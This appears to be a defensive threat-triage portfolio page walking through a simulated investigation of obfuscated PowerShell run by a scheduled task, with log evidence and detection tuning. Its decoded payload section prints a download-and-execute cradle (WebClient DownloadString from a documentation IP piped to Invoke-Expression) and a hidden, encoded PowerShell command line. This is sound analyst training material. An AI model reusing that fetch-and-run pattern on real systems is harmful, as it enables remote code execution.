Operational Investigations & Threat Triage¶

Structured walkthroughs of alert triage, raw log correlation, and forensic analysis across simulated threat scenarios. Documenting investigation methodologies, detection logic, and false-positive reduction.

Scenario and evidence note

The featured PowerShell case uses the documentation-only address 192.0.2.45 (TEST-NET-1). Treat it as an illustrative training scenario, not evidence of a real incident. Adapt the workflow to validated telemetry in an authorized environment.

Category labels are descriptive. Open a report to explore its investigation details.

Featured Case Study — ID: INV-024¶

Investigating Obfuscated PowerShell Execution via Scheduled Tasks¶

Severity: Medium Status: Closed / Resolved Category: Host Telemetry & SIEM

1. Incident Trigger & Initial Context

Alert Name: SUSPICIOUS_POWERSHELL_BASE64_EXEC
Trigger Source: Windows Security Event Log (Event ID 4688) on endpoint HOST-FIN-02.
Initial Observation: An automated SIEM alert flagged an obfuscated PowerShell command executing under the SYSTEM account outside standard maintenance hours.

3. Investigation & Triage Workflow

Payload Decoding: Extracted the Base64 string from Sysmon Event ID 1 and decoded the payload using CyberChef to identify the outbound destination.
Parent-Child Process Analysis: Verified that powershell.exe was spawned directly by taskeng.exe (Windows Scheduled Tasks Engine), confirming automated persistence rather than interactive execution.
Network Telemetry Correlation: Cross-referenced network firewall logs for outbound connections to 192.0.2.45. Identified 12 outbound connection attempts within a 3-minute window.
Host Verification: Interviewed the system administration team and checked local task scheduler definitions. Confirmed an unannounced legacy maintenance script was executing without updated service account encapsulation.

2. Telemetry & Log Evidence

Sysmon Event ID 1 (Process Creation):

UtcTime: 2026-07-12 02:14:08.112
ProcessId: 4820
Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
CommandLine: powershell.exe -NoP -NonI -W Hidden -e aXdX... [Base64 Truncated]
ParentImage: C:\Windows\System32\taskeng.exe
User: NT AUTHORITY\SYSTEM

Script Block Logging (Windows Event ID 4104) Decoded Payload:

$cli = New-Object System.Net.WebClient
$data = $cli.DownloadString('http://192.0.2.45/stage2.ps1')
Invoke-Expression $data

4. Root Cause & Detection Tuning

Verdict: Authorized Administrator Misconfiguration (True Positive for policy violation, False Positive for active malware).

Remediation & Detection Tuning:

Reconfigured the admin task to run via a dedicated service account with restricted privileges.
Updated the SIEM detection rule to alert specifically on unquoted administrative script paths while keeping base-64 PowerShell flags flagged for non-standard parent processes.

All Investigation Reports

In-depth write-ups, detection engineering notes, and operational analysis.

INV-023SIEM Analysis

Analyzing Privilege Escalation via Token Manipulation

Examining Windows Event ID 4672 and process access rights during unauthorized token impersonation attempts.

INV-022Network & PCAP

Detecting Beaconing Traffic Using Suricata & Zeek Logs

Identifying periodic outbound connections and domain generation patterns from compromised hosts in a controlled lab.

INV-021Endpoint Telemetry

Malicious DLL Sideloading via Unsigned Service Execution

Investigating DLL search order hijacking and service persistence using Sysmon and Windows Event Logs.

CONTINUE THE INVESTIGATION

Explore the Investigations Vault

Open the full collection of investigation notes and technical walkthroughs.

Open Investigations Vault →